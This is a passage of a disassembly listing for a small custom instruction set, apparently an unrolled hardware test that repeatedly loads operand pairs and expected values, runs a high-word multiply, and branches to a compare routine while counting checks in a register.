b74: 10 40 01 08 ld32 r8,r8
b78: 0d 42 3a 14 wl16 r16,0x11d4
b7c: 0d 60 02 03 wh16 r16,0x3
b80: 10 40 02 10 ld32 r16,r16
b84: 0d 44 59 30 wl16 r9,0x22d0
b88: 0d 60 01 23 wh16 r9,0x3
b8c: 10 40 01 29 ld32 r9,r9
b90: 00 60 01 10 mulh r8,r16
b94: 20 70 03 e2 movepc rret,8
b98: 14 30 fd 1e br 10 <compare>,#al
b9c: 00 10 00 41 add r2,1
ba0: 0d 40 19 1c wl16 r8,0xdc
ba4: 0d 60 01 03 wh16 r8,0x3
ba8: 10 40 01 08 ld32 r8,r8
bac: 0d 42 3a 18 wl16 r16,0x11d8
bb0: 0d 60 02 03 wh16 r16,0x3
bb4: 10 40 02 10 ld32 r16,r16
bb8: 0d 44 59 34 wl16 r9,0x22d4
bbc: 0d 60 01 23 wh16 r9,0x3
bc0: 10 40 01 29 ld32 r9,r9
bc4: 00 60 01 10 mulh r8,r16
bc8: 20 70 03 e2 movepc rret,8
bcc: 14 30 fd 11 br 10 <compare>,#al
bd0: 00 10 00 41 add r2,1
bd4: 0d 40 1d 00 wl16 r8,0xe0
bd8: 0d 60 01 03 wh16 r8,0x3
bdc: 10 40 01 08 ld32 r8,r8
be0: 0d 42 3a 1c wl16 r16,0x11dc
be4: 0d 60 02 03 wh16 r16,0x3
be8: 10 40 02 10 ld32 r16,r16
bec: 0d 44 59 38 wl16 r9,0x22d8
bf0: 0d 60 01 23 wh16 r9,0x3
bf4: 10 40 01 29 ld32 r9,r9
bf8: 00 60 01 10 mulh r8,r16
bfc: 20 70 03 e2 movepc rret,8
c00: 14 30 fd 04 br 10 <compare>,#al
c04: 00 10 00 41 add r2,1
c08: 0d 40 1d 04 wl16 r8,0xe4
c0c: 0d 60 01 03 wh16 r8,0x3
c10: 10 40 01 08 ld32 r8,r8
c14: 0d 42 3e 00 wl16 r16,0x11e0
c18: 0d 60 02 03 wh16 r16,0x3
c1c: 10 40 02 10 ld32 r16,r16
c20: 0d 44 59 3c wl16 r9,0x22dc
c24: 0d 60 01 23 wh16 r9,0x3
c28: 10 40 01 29 ld32 r9,r9
c2c: 00 60 01 10 mulh r8,r16
c30: 20 70 03 e2 movepc rret,8
c34: 14 30 fc f7 br 10 <compare>,#al
c38: 00 10 00 41 add r2,1
c3c: 0d 40 1d 08 wl16 r8,0xe8
c40: 0d 60 01 03 wh16 r8,0x3
c44: 10 40 01 08 ld32 r8,r8
c48: 0d 42 3e 04 wl16 r16,0x11e4
c4c: 0d 60 02 03 wh16 r16,0x3
c50: 10 40 02 10 ld32 r16,r16
c54: 0d 44 5d 20 wl16 r9,0x22e0
c58: 0d 60 01 23 wh16 r9,0x3
c5c: 10 40 01 29 ld32 r9,r9
c60: 00 60 01 10 mulh r8,r16
c64: 20 70 03 e2 movepc rret,8
c68: 14 30 fc ea br 10 <compare>,#al
c6c: 00 10 00 41 add r2,1
c70: 0d 40 1d 0c wl16 r8,0xec
c74: 0d 60 01 03 wh16 r8,0x3
c78: 10 40 01 08 ld32 r8,r8
c7c: 0d 42 3e 08 wl16 r16,0x11e8
c80: 0d 60 02 03 wh16 r16,0x3
c84: 10 40 02 10 ld32 r16,r16
c88: 0d 44 5d 24 wl16 r9,0x22e4
c8c: 0d 60 01 23 wh16 r9,0x3
c90: 10 40 01 29 ld32 r9,r9
c94: 00 60 01 10 mulh r8,r16
c98: 20 70 03 e2 movepc rret,8
c9c: 14 30 fc dd br 10 <compare>,#al
ca0: 00 10 00 41 add r2,1
ca4: 0d 40 1d 10 wl16 r8,0xf0
ca8: 0d 60 01 03 wh16 r8,0x3
cac: 10 40 01 08 ld32 r8,r8
cb0: 0d 42 3e 0c wl16 r16,0x11ec
cb4: 0d 60 02 03 wh16 r16,0x3
cb8: 10 40 02 10 ld32 r16,r16
cbc: 0d 44 5d 28 wl16 r9,0x22e8
cc0: 0d 60 01 23 wh16 r9,0x3
cc4: 10 40 01 29 ld32 r9,r9
cc8: 00 60 01 10 mulh r8,r16
ccc: 20 70 03 e2 movepc rret,8
cd0: 14 30 fc d0 br 10 <compare>,#al
cd4: 00 10 00 41 add r2,1
cd8: 0d 40 1d 14 wl16 r8,0xf4
cdc: 0d 60 01 03 wh16 r8,0x3
ce0: 10 40 01 08 ld32 r8,r8
ce4: 0d 42 3e 10 wl16 r16,0x11f0
ce8: 0d 60 02 03 wh16 r16,0x3
cec: 10 40 02 10 ld32 r16,r16
cf0: 0d 44 5d 2c wl16 r9,0x22ec
cf4: 0d 60 01 23 wh16 r9,0x3
cf8: 10 40 01 29 ld32 r9,r9
cfc: 00 60 01 10 mulh r8,r16
d00: 20 70 03 e2 movepc rret,8
d04: 14 30 fc c3 br 10 <compare>,#al
d08: 00 10 00 41 add r2,1
d0c: 0d 40 1d 18 wl16 r8,0xf8
d10: 0d 60 01 03 wh16 r8,0x3
d14: 10 40 01 08 ld32 r8,r8
d18: 0d 42 3e 14 wl16 r16,0x11f4
d1c: 0d 60 02 03 wh16 r16,0x3
d20: 10 40 02 10 ld32 r16,r16
d24: 0d 44 5d 30 wl16 r9,0x22f0
d28: 0d 60 01 23 wh16 r9,0x3
d2c: 10 40 01 29 ld32 r9,r9
d30: 00 60 01 10 mulh r8,r16
d34: 20 70 03 e2 movepc rret,8
d38: 14 30 fc b6 br 10 <compare>,#al
d3c: 00 10 00 41 add r2,1
d40: 0d 40 1d 1c wl16 r8,0xfc
d44: 0d 60 01 03 wh16 r8,0x3
d48: 10 40 01 08 ld32 r8,r8
d4c: 0d 42 3e 18 wl16 r16,0x11f8
d50: 0d 60 02 03 wh16 r16,0x3
d54: 10 40 02 10 ld32 r16,r16
d58: 0d 44 5d 34 wl16 r9,0x22f4
d5c: 0d 60 01 23 wh16 r9,0x3
d60: 10 40 01 29 ld32 r9,r9
d64: 00 60 01 10 mulh r8,r16
d68: 20 70 03 e2 movepc rret,8
d6c: 14 30 fc a9 br 10 <compare>,#al
d70: 00 10 00 41 add r2,1
d74: 0d 40 21 00 wl16 r8,0x100
d78: 0d 60 01 03 wh16 r8,0x3
d7c: 10 40 01 08 ld32 r8,r8
d80: 0d 42 3e 1c wl16 r16,0x11fc
d84: 0d 60 02 03 wh16 r16,0x3
d88: 10 40 02 10 ld32 r16,r16
d8c: 0d 44 5d 38 wl16 r9,0x22f8
d90: 0d 60 01 23 wh16 r9,0x3
d94: 10 40 01 29 ld32 r9,r9
d98: 00 60 01 10 mulh r8,r16
d9c: 20 70 03 e2 movepc rret,8
da0: 14 30 fc 9c br 10 <compare>,#al
da4: 00 10 00 41 add r2,1
da8: 0d 40 21 04 wl16 r8,0x104
dac: 0d 60 01 03 wh16 r8,0x3
db0: 10 40 01 08 ld32 r8,r8
db4: 0d 42 42 00 wl16 r16,0x1200
db8: 0d 60 02 03 wh16 r16,0x3
dbc: 10 40 02 10 ld32 r16,r16
dc0: 0d 44 5d 3c wl16 r9,0x22fc
dc4: 0d 60 01 23 wh16 r9,0x3
dc8: 10 40 01 29 ld32 r9,r9
dcc: 00 60 01 10 mulh r8,r16
dd0: 20 70 03 e2 movepc rret,8
dd4: 14 30 fc 8f br 10 <compare>,#al
dd8: 00 10 00 41 add r2,1
ddc: 0d 40 21 08 wl16 r8,0x108
de0: 0d 60 01 03 wh16 r8,0x3
de4: 10 40 01 08 ld32 r8,r8
de8: 0d 42 42 04 wl16 r16,0x1204
dec: 0d 60 02 03 wh16 r16,0x3
df0: 10 40 02 10 ld32 r16,r16
df4: 0d 44 61 20 wl16 r9,0x2300
df8: 0d 60 01 23 wh16 r9,0x3
dfc: 10 40 01 29 ld32 r9,r9
e00: 00 60 01 10 mulh r8,r16
e04: 20 70 03 e2 movepc rret,8
e08: 14 30 fc 82 br 10 <compare>,#al
e0c: 00 10 00 41 add r2,1
e10: 0d 40 21 0c wl16 r8,0x10c
e14: 0d 60 01 03 wh16 r8,0x3
e18: 10 40 01 08 ld32 r8,r8
e1c: 0d 42 42 08 wl16 r16,0x1208
e20: 0d 60 02 03 wh16 r16,0x3
e24: 10 40 02 10 ld32 r16,r16
e28: 0d 44 61 24 wl16 r9,0x2304
e2c: 0d 60 01 23 wh16 r9,0x3
e30: 10 40 01 29 ld32 r9,r9
e34: 00 60 01 10 mulh r8,r16
e38: 20 70 03 e2 movepc rret,8
e3c: 14 30 fc 75 br 10 <compare>,#al
e40: 00 10 00 41 add r2,1
e44: 0d 40 21 10 wl16 r8,0x110
e48: 0d 60 01 03 wh16 r8,0x3
e4c: 10 40 01 08 ld32 r8,r8
e50: 0d 42 42 0c wl16 r16,0x120c
e54: 0d 60 02 03 wh16 r16,0x3
e58: 10 40 02 10 ld32 r16,r16
e5c: 0d 44 61 28 wl16 r9,0x2308
e60: 0d 60 01 23 wh16 r9,0x3
e64: 10 40 01 29 ld32 r9,r9
e68: 00 60 01 10 mulh r8,r16
e6c: 20 70 03 e2 movepc rret,8
e70: 14 30 fc 68 br 10 <compare>,#al
e74: 00 10 00 41 add r2,1
e78: 0d 40 21 14 wl16 r8,0x114
e7c: 0d 60 01 03 wh16 r8,0x3
e80: 10 40 01 08 ld32 r8,r8
e84: 0d 42 42 10 wl16 r16,0x1210
e88: 0d 60 02 03 wh16 r16,0x3
e8c: 10 40 02 10 ld32 r16,r16
e90: 0d 44 61 2c wl16 r9,0x230c
e94: 0d 60 01 23 wh16 r9,0x3
e98: 10 40 01 29 ld32 r9,r9
e9c: 00 60 01 10 mulh r8,r16
ea0: 20 70 03 e2 movepc rret,8
ea4: 14 30 fc 5b br 10 <compare>,#al
ea8: 00 10 00 41 add r2,1
eac: 0d 40 21 18 wl16 r8,0x118
eb0: 0d 60 01 03 wh16 r8,0x3
eb4: 10 40 01 08 ld32 r8,r8
eb8: 0d 42 42 14 wl16 r16,0x1214
ebc: 0d 60 02 03 wh16 r16,0x3
ec0: 10 40 02 10 ld32 r16,r16
ec4: 0d 44 61 30 wl16 r9,0x2310
ec8: 0d 60 01 23 wh16 r9,0x3
ecc: 10 40 01 29 ld32 r9,r9
ed0: 00 60 01 10 mulh r8,r16
ed4: 20 70 03 e2 movepc rret,8
ed8: 14 30 fc 4e br 10 <compare>,#al
edc: 00 10 00 41 add r2,1
ee0: 0d 40 21 1c wl16 r8,0x11c
ee4: 0d 60 01 03 wh16 r8,0x3
ee8: 10 40 01 08 ld32 r8,r8
eec: 0d 42 42 18 wl16 r16,0x1218
ef0: 0d 60 02 03 wh16 r16,0x3
ef4: 10 40 02 10 ld32 r16,r16
ef8: 0d 44 61 34 wl16 r9,0x2314
efc: 0d 60 01 23 wh16 r9,0x3
f00: 10 40 01 29 ld32 r9,r9
f04: 00 60 01 10 mulh r8,r16
f08: 20 70 03 e2 movepc rret,8
f0c: 14 30 fc 41 br 10 <compare>,#al
f10: 00 10 00 41 add r2,1
f14: 0d 40 25 00 wl16 r8,0x120
f18: 0d 60 01 03 wh16 r8,0x3
f1c: 10 40 01 08 ld32 r8,r8
f20: 0d 42 42 1c wl16 r16,0x121c
f24: 0d 60 02 03 wh16 r16,0x3
f28: 10 40 02 10 ld32 r16,r16
f2c: 0d 44 61 38 wl16 r9,0x2318
f30: 0d 60 01 23 wh16 r9,0x3
f34: 10 40 01 29 ld32 r9,r9
f38: 00 60 01 10 mulh r8,r16
f3c: 20 70 03 e2 movepc rret,8
f40: 14 30 fc 34 br 10 <compare>,#al
f44: 00 10 00 41 add r2,1
f48: 0d 40 25 04 wl16 r8,0x124
f4c: 0d 60 01 03 wh16 r8,0x3
f50: 10 40 01 08 ld32 r8,r8
f54: 0d 42 46 00 wl16 r16,0x1220
f58: 0d 60 02 03 wh16 r16,0x3
f5c: 10 40 02 10 ld32 r16,r16
f60: 0d 44 61 3c wl16 r9,0x231c
f64: 0d 60 01 23 wh16 r9,0x3
f68: 10 40 01 29 ld32 r9,r9
f6c: 00 60 01 10 mulh r8,r16
f70: 20 70 03 e2 movepc rret,8
f74: 14 30 fc 27 br 10 <compare>,#al
f78: 00 10 00 41 add r2,1
f7c: 0d 40 25 08 wl16 r8,0x128
f80: 0d 60 01 03 wh16 r8,0x3
f84: 10 40 01 08 ld32 r8,r8
f88: 0d 42 46 04 wl16 r16,0x1224
f8c: 0d 60 02 03 wh16 r16,0x3
f90: 10 40 02 10 ld32 r16,r16
f94: 0d 44 65 20 wl16 r9,0x2320
f98: 0d 60 01 23 wh16 r9,0x3
f9c: 10 40 01 29 ld32 r9,r9
fa0: 00 60 01 10 mulh r8,r16
fa4: 20 70 03 e2 movepc rret,8
fa8: 14 30 fc 1a br 10 <compare>,#al
fac: 00 10 00 41 add r2,1
fb0: 0d 40 25 0c wl16 r8,0x12c
fb4: 0d 60 01 03 wh16 r8,0x3
fb8: 10 40 01 08 ld32 r8,r8
fbc: 0d 42 46 08 wl16 r16,0x1228
fc0: 0d 60 02 03 wh16 r16,0x3
fc4: 10 40 02 10 ld32 r16,r16
fc8: 0d 44 65 24 wl16 r9,0x2324
fcc: 0d 60 01 23 wh16 r9,0x3
fd0: 10 40 01 29 ld32 r9,r9
fd4: 00 60 01 10 mulh r8,r16
fd8: 20 70 03 e2 movepc rret,8
fdc: 14 30 fc 0d br 10 <compare>,#al
fe0: 00 10 00 41 add r2,1
fe4: 0d 40 25 10 wl16 r8,0x130
fe8: 0d 60 01 03 wh16 r8,0x3
fec: 10 40 01 08 ld32 r8,r8
ff0: 0d 42 46 0c wl16 r16,0x122c
ff4: 0d 60 02 03 wh16 r16,0x3
ff8: 10 40 02 10 ld32 r16,r16
ffc: 0d 44 65 28 wl16 r9,0x2328
1000: 0d 60 01 23 wh16 r9,0x3
1004: 10 40 01 29 ld32 r9,r9
1008: 00 60 01 10 mulh r8,r16
100c: 20 70 03 e2 movepc rret,8
1010: 14 30 fc 00 br 10 <compare>,#al
1014: 00 10 00 41 add r2,1
1018: 0d 40 25 14 wl16 r8,0x134
101c: 0d 60 01 03 wh16 r8,0x3
1020: 10 40 01 08 ld32 r8,r8
1024: 0d 42 46 10 wl16 r16,0x1230
1028: 0d 60 02 03 wh16 r16,0x3
102c: 10 40 02 10 ld32 r16,r16
1030: 0d 44 65 2c wl16 r9,0x232c
1034: 0d 60 01 23 wh16 r9,0x3
1038: 10 40 01 29 ld32 r9,r9
103c: 00 60 01 10 mulh r8,r16
1040: 20 70 03 e2 movepc rret,8
1044: 14 30 fb f3 br 10 <compare>,#al
1048: 00 10 00 41 add r2,1
104c: 0d 40 25 18 wl16 r8,0x138
1050: 0d 60 01 03 wh16 r8,0x3
1054: 10 40 01 08 ld32 r8,r8
1058: 0d 42 46 14 wl16 r16,0x1234
105c: 0d 60 02 03 wh16 r16,0x3
1060: 10 40 02 10 ld32 r16,r16
1064: 0d 44 65 30 wl16 r9,0x2330
1068: 0d 60 01 23 wh16 r9,0x3
106c: 10 40 01 29 ld32 r9,r9
1070: 00 60 01 10 mulh r8,r16
1074: 20 70 03 e2 movepc rret,8
1078: 14 30 fb e6 br 10 <compare>,#al
107c: 00 10 00 41 add r2,1
1080: 0d 40 25 1c wl16 r8,0x13c
1084: 0d 60 01 03 wh16 r8,0x3
1088: 10 40 01 08 ld32 r8,r8
108c: 0d 42 46 18 wl16 r16,0x1238
1090: 0d 60 02 03 wh16 r16,0x3
1094: 10 40 02 10 ld32 r16,r16
1098: 0d 44 65 34 wl16 r9,0x2334
109c: 0d 60 01 23 wh16 r9,0x3
10a0: 10 40 01 29 ld32 r9,r9
10a4: 00 60 01 10 mulh r8,r16
10a8: 20 70 03 e2 movepc rret,8
10ac: 14 30 fb d9 br 10 <compare>,#al
10b0: 00 10 00 41 add r2,1
10b4: 0d 40 29 00 wl16 r8,0x140
10b8: 0d 60 01 03 wh16 r8,0x3
10bc: 10 40 01 08 ld32 r8,r8
10c0: 0d 42 46 1c wl16 r16,0x123c
10c4: 0d 60 02 03 wh16 r16,0x3
10c8: 10 40 02 10 ld32 r16,r16
10cc: 0d 44 65 38 wl16 r9,0x2338
10d0: 0d 60 01 23 wh16 r9,0x3
10d4: 10 40 01 29 ld32 r9,r9
10d8: 00 60 01 10 mulh r8,r16
10dc: 20 70 03 e2 movepc rret,8
10e0: 14 30 fb cc br 10 <compare>,#al
10e4: 00 10 00 41 add r2,1
10e8: 0d 40 29 04 wl16 r8,0x144
10ec: 0d 60 01 03 wh16 r8,0x3
10f0: 10 40 01 08 ld32 r8,r8
10f4: 0d 42 4a 00 wl16 r16,0x1240
10f8: 0d 60 02 03 wh16 r16,0x3
10fc: 10 40 02 10 ld32 r16,r16
1100: 0d 44 65 3c wl16 r9,0x233c
1104: 0d 60 01 23 wh16 r9,0x3
1108: 10 40 01 29 ld32 r9,r9
110c: 00 60 01 10 mulh r8,r16
1110: 20 70 03 e2 movepc rret,8
1114: 14 30 fb bf br 10 <compare>,#al
1118: 00 10 00 41 add r2,1
111c: 0d 40 29 08 wl16 r8,0x148
1120: 0d 60 01 03 wh16 r8,0x3
1124: 10 40 01 08 ld32 r8,r8
1128: 0d 42 4a 04 wl16 r16,0x1244
112c: 0d 60 02 03 wh16 r16,0x3
1130: 10 40 02 10 ld32 r16,r16
1134: 0d 44 69 20 wl16 r9,0x2340
1138: 0d 60 01 23 wh16 r9,0x3
113c: 10 40 01 29 ld32 r9,r9
1140: 00 60 01 10 mulh r8,r16
1144: 20 70 03 e2 movepc rret,8
1148: 14 30 fb b2 br 10 <compare>,#al
114c: 00 10 00 41 add r2,1
1150: 0d 40 29 0c wl16 r8,0x14c
1154: 0d 60 01 03 wh16 r8,0x3
1158: 10 40 01 08 ld32 r8,r8
115c: 0d 42 4a 08 wl16 r16,0x1248
1160: 0d 60 02 03 wh16 r16,0x3
1164: 10 40 02 10 ld32 r16,r16
1168: 0d 44 69 24 wl16 r9,0x2344
116c: 0d 60 01 23 wh16 r9,0x3
1170: 10 40 01 29 ld32 r9,r9
1174: 00 60 01 10 mulh r8,r16
1178: 20 70 03 e2 movepc rret,8
117c: 14 30 fb a5 br 10 <compare>,#al
1180: 00 10 00 41 add r2,1
1184: 0d 40 29 10 wl16 r8,0x150
1188: 0d 60 01 03 wh16 r8,0x3
118c: 10 40 01 08 ld32 r8,r8
1190: 0d 42 4a 0c wl16 r16,0x124c
1194: 0d 60 02 03 wh16 r16,0x3
1198: 10 40 02 10 ld32 r16,r16
119c: 0d 44 69 28 wl16 r9,0x2348
11a0: 0d 60 01 23 wh16 r9,0x3
11a4: 10 40 01 29 ld32 r9,r9
11a8: 00 60 01 10 mulh r8,r16
11ac: 20 70 03 e2 movepc rret,8
11b0: 14 30 fb 98 br 10 <compare>,#al
11b4: 00 10 00 41 add r2,1
11b8: 0d 40 29 14 wl16 r8,0x154
11bc: 0d 60 01 03 wh16 r8,0x3
11c0: 10 40 01 08 ld32 r8,r8
11c4: 0d 42 4a 10 wl16 r16,0x1250
11c8: 0d 60 02 03 wh16 r16,0x3
11cc: 10 40 02 10 ld32 r16,r16
11d0: 0d 44 69 2c wl16 r9,0x234c
11d4: 0d 60 01 23 wh16 r9,0x3
11d8: 10 40 01 29 ld32 r9,r9
11dc: 00 60 01 10 mulh r8,r16
11e0: 20 70 03 e2 movepc rret,8
11e4: 14 30 fb 8b br 10 <compare>,#al
11e8: 00 10 00 41 add r2,1
11ec: 0d 40 29 18 wl16 r8,0x158
11f0: 0d 60 01 03 wh16 r8,0x3
11f4: 10 40 01 08 ld32 r8,r8
11f8: 0d 42 4a 14 wl16 r16,0x1254
11fc: 0d 60 02 03 wh16 r16,0x3
1200: 10 40 02 10 ld32 r16,r16
1204: 0d 44 69 30 wl16 r9,0x2350
1208: 0d 60 01 23 wh16 r9,0x3
120c: 10 40 01 29 ld32 r9,r9
1210: 00 60 01 10 mulh r8,r16
1214: 20 70 03 e2 movepc rret,8
1218: 14 30 fb 7e br 10 <compare>,#al
121c: 00 10 00 41 add r2,1
1220: 0d 40 29 1c wl16 r8,0x15c
1224: 0d 60 01 03 wh16 r8,0x3
1228: 10 40 01 08 ld32 r8,r8
122c: 0d 42 4a 18 wl16 r16,0x1258
1230: 0d 60 02 03 wh16 r16,0x3
1234: 10 40 02 10 ld32 r16,r16
1238: 0d 44 69 34 wl16 r9,0x2354
123c: 0d 60 01 23 wh16 r9,0x3
1240: 10 40 01 29 ld32 r9,r9
1244: 00 60 01 10 mulh r8,r16
1248: 20 70 03 e2 movepc rret,8
124c: 14 30 fb 71 br 10 <compare>,#al
1250: 00 10 00 41 add r2,1
1254: 0d 40 2d 00 wl16 r8,0x160
1258: 0d 60 01 03 wh16 r8,0x3
125c: 10 40 01 08 ld32 r8,r8
1260: 0d 42 4a 1c wl16 r16,0x125c
1264: 0d 60 02 03 wh16 r16,0x3
1268: 10 40 02 10 ld32 r16,r16
126c: 0d 44 69 38 wl16 r9,0x2358
1270: 0d 60 01 23 wh16 r9,0x3
1274: 10 40 01 29 ld32 r9,r9
1278: 00 60 01 10 mulh r8,r16
127c: 20 70 03 e2 movepc rret,8
1280: 14 30 fb 64 br 10 <compare>,#al
1284: 00 10 00 41 add r2,1
1288: 0d 40 2d 04 wl16 r8,0x164
128c: 0d 60 01 03 wh16 r8,0x3
1290: 10 40 01 08 ld32 r8,r8
1294: 0d 42 4e 00 wl16 r16,0x1260
1298: 0d 60 02 03 wh16 r16,0x3
129c: 10 40 02 10 ld32 r16,r16
12a0: 0d 44 69 3c wl16 r9,0x235c
12a4: 0d 60 01 23 wh16 r9,0x3
12a8: 10 40 01 29 ld32 r9,r9
12ac: 00 60 01 10 mulh r8,r16
12b0: 20 70 03 e2 movepc rret,8
12b4: 14 30 fb 57 br 10 <compare>,#al
12b8: 00 10 00 41 add r2,1
12bc: 0d 40 2d 08 wl16 r8,0x168
12c0: 0d 60 01 03 wh16 r8,0x3
12c4: 10 40 01 08 ld32 r8,r8
12c8: 0d 42 4e 04 wl16 r16,0x1264
12cc: 0d 60 02 03 wh16 r16,0x3
12d0: 10 40 02 10 ld32 r16,r16
12d4: 0d 44 6d 20 wl16 r9,0x2360
12d8: 0d 60 01 23 wh16 r9,0x3
12dc: 10 40 01 29 ld32 r9,r9
12e0: 00 60 01 10 mulh r8,r16
12e4: 20 70 03 e2 movepc rret,8
12e8: 14 30 fb 4a br 10 <compare>,#al
12ec: 00 10 00 41 add r2,1
12f0: 0d 40 2d 0c wl16 r8,0x16c
12f4: 0d 60 01 03 wh16 r8,0x3
12f8: 10 40 01 08 ld32 r8,r8
12fc: 0d 42 4e 08 wl16 r16,0x1268
1300: 0d 60 02 03 wh16 r16,0x3
1304: 10 40 02 10 ld32 r16,r16
1308: 0d 44 6d 24 wl16 r9,0x2364
130c: 0d 60 01 23 wh16 r9,0x3
1310: 10 40 01 29 ld32 r9,r9
1314: 00 60 01 10 mulh r8,r16
1318: 20 70 03 e2 movepc rret,8
131c: 14 30 fb 3d br 10 <compare>,#al
1320: 00 10 00 41 add r2,1
1324: 0d 40 2d 10 wl16 r8,0x170
1328: 0d 60 01 03 wh16 r8,0x3
132c: 10 40 01 08 ld32 r8,r8
1330: 0d 42 4e 0c wl16 r16,0x126c
1334: 0d 60 02 03 wh16 r16,0x3
1338: 10 40 02 10 ld32 r16,r16
133c: 0d 44 6d 28 wl16 r9,0x2368
1340: 0d 60 01 23 wh16 r9,0x3
1344: 10 40 01 29 ld32 r9,r9
1348: 00 60 01 10 mulh r8,r16
134c: 20 70 03 e2 movepc rret,8
1350: 14 30 fb 30 br 10 <compare>,#al
1354: 00 10 00 41 add r2,1
1358: 0d 40 2d 14 wl16 r8,0x174
135c: 0d 60 01 03 wh16 r8,0x3
1360: 10 40 01 08 ld32 r8,r8
1364: 0d 42 4e 10 wl16 r16,0x1270
1368: 0d 60 02 03 wh16 r16,0x3
136c: 10 40 02 10 ld32 r16,r16
1370: 0d 44 6d 2c wl16 r9,0x236c
1374: 0d 60 01 23 wh16 r9,0x3
1378: 10 40 01 29 ld32 r9,r9
137c: 00 60 01 10 mulh r8,r16
1380: 20 70 03 e2 movepc rret,8
1384: 14 30 fb 23 br 10 <compare>,#al
1388: 00 10 00 41 add r2,1
138c: 0d 40 2d 18 wl16 r8,0x178
1390: 0d 60 01 03 wh16 r8,0x3
1394: 10 40 01 08 ld32 r8,r8
1398: 0d 42 4e 14 wl16 r16,0x1274
139c: 0d 60 02 03 wh16 r16,0x3
13a0: 10 40 02 10 ld32 r16,r16
13a4: 0d 44 6d 30 wl16 r9,0x2370
13a8: 0d 60 01 23 wh16 r9,0x3
13ac: 10 40 01 29 ld32 r9,r9
13b0: 00 60 01 10 mulh r8,r16
13b4: 20 70 03 e2 movepc rret,8
13b8: 14 30 fb 16 br 10 <compare>,#al
13bc: 00 10 00 41 add r2,1
13c0: 0d 40 2d 1c wl16 r8,0x17c
13c4: 0d 60 01 03 wh16 r8,0x3
13c8: 10 40 01 08 ld32 r8,r8
13cc: 0d 42 4e 18 wl16 r16,0x1278
13d0: 0d 60 02 03 wh16 r16,0x3
13d4: 10 40 02 10 ld32 r16,r16
13d8: 0d 44 6d 34 wl16 r9,0x2374
13dc: 0d 60 01 23 wh16 r9,0x3
13e0: 10 40 01 29 ld32 r9,r9
13e4: 00 60 01 10 mulh r8,r16
13e8: 20 70 03 e2 movepc rret,8
13ec: 14 30 fb 09 br 10 <compare>,#al
13f0: 00 10 00 41 add r2,1
13f4: 0d 40 31 00 wl16 r8,0x180
13f8: 0d 60 01 03 wh16 r8,0x3
13fc: 10 40 01 08 ld32 r8,r8
1400: 0d 42 4e 1c wl16 r16,0x127c
1404: 0d 60 02 03 wh16 r16,0x3
1408: 10 40 02 10 ld32 r16,r16
140c: 0d 44 6d 38 wl16 r9,0x2378
1410: 0d 60 01 23 wh16 r9,0x3
1414: 10 40 01 29 ld32 r9,r9
1418: 00 60 01 10 mulh r8,r16
141c: 20 70 03 e2 movepc rret,8
1420: 14 30 fa fc br 10 <compare>,#al
1424: 00 10 00 41 add r2,1
1428: 0d 40 31 04 wl16 r8,0x184
142c: 0d 60 01 03 wh16 r8,0x3
1430: 10 40 01 08 ld32 r8,r8
1434: 0d 42 52 00 wl16 r16,0x1280
1438: 0d 60 02 03 wh16 r16,0x3
143c: 10 40 02 10 ld32 r16,r16
1440: 0d 44 6d 3c wl16 r9,0x237c
1444: 0d 60 01 23 wh16 r9,0x3
1448: 10 40 01 29 ld32 r9,r9
144c: 00 60 01 10 mulh r8,r16
1450: 20 70 03 e2 movepc rret,8
1454: 14 30 fa ef br 10 <compare>,#al
1458: 00 10 00 41 add r2,1
145c: 0d 40 31 08 wl16 r8,0x188
1460: 0d 60 01 03 wh16 r8,0x3
1464: 10 40 01 08 ld32 r8,r8
1468: 0d 42 52 04 wl16 r16,0x1284
146c: 0d 60 02 03 wh16 r16,0x3
1470: 10 40 02 10 ld32 r16,r16
1474: 0d 44 71 20 wl16 r9,0x2380
1478: 0d 60 01 23 wh16 r9,0x3
147c: 10 40 01 29 ld32 r9,r9
1480: 00 60 01 10 mulh r8,r16
1484: 20 70 03 e2 movepc rret,8
1488: 14 30 fa e2 br 10 <compare>,#al
148c: 00 10 00 41 add r2,1
1490: 0d 40 31 0c wl16 r8,0x18c
1494: 0d 60 01 03 wh16 r8,0x3
1498: 10 40 01 08 ld32 r8,r8
149c: 0d 42 52 08 wl16 r16,0x1288
14a0: 0d 60 02 03 wh16 r16,0x3
14a4: 10 40 02 10 ld32 r16,r16
14a8: 0d 44 71 24 wl16 r9,0x2384
14ac: 0d 60 01 23 wh16 r9,0x3
14b0: 10 40 01 29 ld32 r9,r9
14b4: 00 60 01 10 mulh r8,r16
14b8: 20 70 03 e2 movepc rret,8
14bc: 14 30 fa d5 br 10 <compare>,#al
14c0: 00 10 00 41 add r2,1
14c4: 0d 40 31 10 wl16 r8,0x190
14c8: 0d 60 01 03 wh16 r8,0x3
14cc: 10 40 01 08 ld32 r8,r8
14d0: 0d 42 52 0c wl16 r16,0x128c
14d4: 0d 60 02 03 wh16 r16,0x3
14d8: 10 40 02 10 ld32 r16,r16
14dc: 0d 44 71 28 wl16 r9,0x2388
14e0: 0d 60 01 23 wh16 r9,0x3
14e4: 10 40 01 29 ld32 r9,r9
14e8: 00 60 01 10 mulh r8,r16
14ec: 20 70 03 e2 movepc rret,8
14f0: 14 30 fa c8 br 10 <compare>,#al
14f4: 00 10 00 41 add r2,1
14f8: 0d 40 31 14 wl16 r8,0x194
14fc: 0d 60 01 03 wh16 r8,0x3
1500: 10 40 01 08 ld32 r8,r8
1504: 0d 42 52 10 wl16 r16,0x1290
1508: 0d 60 02 03 wh16 r16,0x3
150c: 10 40 02 10 ld32 r16,r16
1510: 0d 44 71 2c wl16 r9,0x238c
1514: 0d 60 01 23 wh16 r9,0x3
1518: 10 40 01 29 ld32 r9,r9
151c: 00 60 01 10 mulh r8,r16
1520: 20 70 03 e2 movepc rret,8
1524: 14 30 fa bb br 10 <compare>,#al
1528: 00 10 00 41 add r2,1
152c: 0d 40 31 18 wl16 r8,0x198
1530: 0d 60 01 03 wh16 r8,0x3
1534: 10 40 01 08 ld32 r8,r8
1538: 0d 42 52 14 wl16 r16,0x1294
153c: 0d 60 02 03 wh16 r16,0x3
1540: 10 40 02 10 ld32 r16,r16
1544: 0d 44 71 30 wl16 r9,0x2390
1548: 0d 60 01 23 wh16 r9,0x3
154c: 10 40 01 29 ld32 r9,r9
1550: 00 60 01 10 mulh r8,r16
1554: 20 70 03 e2 movepc rret,8
1558: 14 30 fa ae br 10 <compare>,#al
155c: 00 10 00 41 add r2,1
1560: 0d 40 31 1c wl16 r8,0x19c
1564: 0d 60 01 03 wh16 r8,0x3
1568: 10 40 01 08 ld32 r8,r8
156c: 0d 42 52 18 wl16 r16,0x1298
1570: 0d 60 02 03 wh16 r16,0x3
1574: 10 40 02 10 ld32 r16,r16
